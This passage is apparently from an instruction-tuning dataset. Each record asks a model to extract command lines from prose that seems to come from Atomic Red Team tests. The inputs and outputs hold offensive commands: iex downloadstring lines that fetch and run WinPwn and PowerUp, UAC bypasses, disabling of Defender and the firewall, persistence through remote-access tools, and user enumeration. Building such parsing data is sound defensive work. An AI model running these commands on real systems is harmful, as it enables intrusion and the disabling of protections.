    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nUACBypass -noninteractive -command \\\"C:\\\\windows\\\\system32\\\\calc.exe\\\" -technique ccmstp\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nUACBypass -noninteractive -command \\\"C:\\\\windows\\\\system32\\\\cmd.exe\\\" -technique DiskCleanup\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Maintaining persistence via third-party remote services is common among threat actors, who often use NetSupport with the command: Start-Process \"#{NetSupport_Path}\" -ArgumentList \"/S /v/qn\"; To establish long-term access, attackers frequently deploy UltraViewer with this command: Start-Process -Wait -FilePath \"#{UltraViewer_Path}\" -Argument \"/silent\" -PassThru\nStart-Process 'C:\\Program Files (x86)\\UltraViewer\\UltraViewer_Desktop.exe'",
    "output": "{\"command_list\": [\"Start-Process \\\"#{NetSupport_Path}\\\" -ArgumentList \\\"/S /v/qn\\\"\\n\", \"Start-Process -Wait -FilePath \\\"#{UltraViewer_Path}\\\" -Argument \\\"/silent\\\" -PassThru\\nStart-Process 'C:\\\\Program Files (x86)\\\\UltraViewer\\\\UltraViewer_Desktop.exe'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique creates temporary environment variables for .NET profiling, which can be done by running the following command sequence: $env:COR_ENABLE_PROFILING = 1\n$env:COR_PROFILER = '#{clsid_guid}'\n$env:COR_PROFILER_PATH = '\"#{file_name}\"'\nPOWERSHELL -c 'Start-Sleep 1'; For endpoint user enumeration that outputs to both stdout and creates computers.txt and usernames.txt files, use this comprehensive command sequence: cmd.exe /C whoami\nwmic useraccount get /ALL\nquser /SERVER:\"#{computer_name}\"\nquser\nqwinsta.exe /server:#{computer_name}\nqwinsta.exe\nfor /F \"tokens=1,2\" %i in ('qwinsta /server:#{computer_name} ^| findstr \"Active Disc\"') do @echo %i | find /v \"#\" | find /v \"console\" || echo %j > computers.txt\n@FOR /F %n in (computers.txt) DO @FOR /F \"tokens=1,2\" %i in ('qwinsta /server:%n ^| findstr \"Active Disc\"') do @echo %i | find /v \"#\" | find /v \"console\" || echo %j > usernames.txt",
    "output": "{\"command_list\": [\"$env:COR_ENABLE_PROFILING = 1\\n$env:COR_PROFILER = '#{clsid_guid}'\\n$env:COR_PROFILER_PATH = '\\\"#{file_name}\\\"'\\nPOWERSHELL -c 'Start-Sleep 1'\\n\", \"cmd.exe /C whoami\\nwmic useraccount get /ALL\\nquser /SERVER:\\\"#{computer_name}\\\"\\nquser\\nqwinsta.exe /server:#{computer_name}\\nqwinsta.exe\\nfor /F \\\"tokens=1,2\\\" %i in ('qwinsta /server:#{computer_name} ^| findstr \\\"Active Disc\\\"') do @echo %i | find /v \\\"#\\\" | find /v \\\"console\\\" || echo %j > computers.txt\\n@FOR /F %n in (computers.txt) DO @FOR /F \\\"tokens=1,2\\\" %i in ('qwinsta /server:%n ^| findstr \\\"Active Disc\\\"') do @echo %i | find /v \\\"#\\\" | find /v \\\"console\\\" || echo %j > usernames.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Execution can be facilitated by a user running a malicious image, using the following command: IEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso\" -OutFile \"$env:TEMP\\\\qbot-test.iso\")\nMount-DiskImage -ImagePath \"$env:TEMP\\\\qbot-test.iso\"\n$mountedpath = (Get-DiskImage -ImagePath \"$env:TEMP\\\\qbot-test.iso\" | Get-Volume).DriveLetter\n$finalpath = $mountedpath + \":\\\\\"\ncd $finalpath\n.\\\\calc.exe.lnk; For traffic redirection purposes, execute this command (be aware of potential conflicts with system settings):\nexport #{proxy_scheme}_proxy=#{proxy_server}:#{proxy_port}\ncurl #{test_url}\n",
    "output": "{\"command_list\": [\"IEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso\\\" -OutFile \\\"$env:TEMP\\\\qbot-test.iso\\\")\\nMount-DiskImage -ImagePath \\\"$env:TEMP\\\\qbot-test.iso\\\"\\n$mountedpath = (Get-DiskImage -ImagePath \\\"$env:TEMP\\\\qbot-test.iso\\\" | Get-Volume).DriveLetter\\n$finalpath = $mountedpath + \\\":\\\\\\\"\\ncd $finalpath\\n.\\\\calc.exe.lnk\", \"export #{proxy_scheme}_proxy=#{proxy_server}:#{proxy_port}\\ncurl #{test_url}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following command disables various Windows Defender ATP features including scheduled scanning, causing Virus and Threat Protection to show as disabled in settings:\nSet-MpPreference -DisableRealtimeMonitoring 1\nSet-MpPreference -DisableBehaviorMonitoring 1\nSet-MpPreference -DisableScriptScanning 1\nSet-MpPreference -DisableBlockAtFirstSeen 1\n; To disable Windows Defender ATP's scheduled scanning and components, adversaries often try running these commands as System (they'll fail as administrator), which can serve as an indicator of malicious activity. The following commands will display 'Access Denied' twice and show the WinDefend service status: sc stop WinDefend\nsc config WinDefend start=disabled\nsc query WinDefend",
    "output": "{\"command_list\": [\"Set-MpPreference -DisableRealtimeMonitoring 1\\nSet-MpPreference -DisableBehaviorMonitoring 1\\nSet-MpPreference -DisableScriptScanning 1\\nSet-MpPreference -DisableBlockAtFirstSeen 1\\n\", \"sc stop WinDefend\\nsc config WinDefend start=disabled\\nsc query WinDefend\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system will search for Firefox bookmark SQLITE databases and show their locations when you use the command: where /R C:\\Users\\ places.sqlite; You can find all IE bookmarks by executing this command: dir /s /b %USERPROFILE%\\Favorites\n",
    "output": "{\"command_list\": [\"where /R C:\\\\Users\\\\ places.sqlite\\n\", \"dir /s /b %USERPROFILE%\\\\Favorites\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For the public profile, you can turn off Microsoft Defender Firewall using the registry modification command: reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v \"EnableFirewall\" /t REG_DWORD /d 0 /f; For setting up a listening interface as part of HARDRAIN's proxying tactic (reference: US-CERT MAR-10135536-F), execute this command: netsh advfirewall firewall add rule name=\"atomic testing\" action=allow dir=in protocol=TCP localport=450",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\SharedAccess\\\\Parameters\\\\FirewallPolicy\\\\PublicProfile\\\" /v \\\"EnableFirewall\\\" /t REG_DWORD /d 0 /f\\n\", \"netsh advfirewall firewall add rule name=\\\"atomic testing\\\" action=allow dir=in protocol=TCP localport=450 \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = 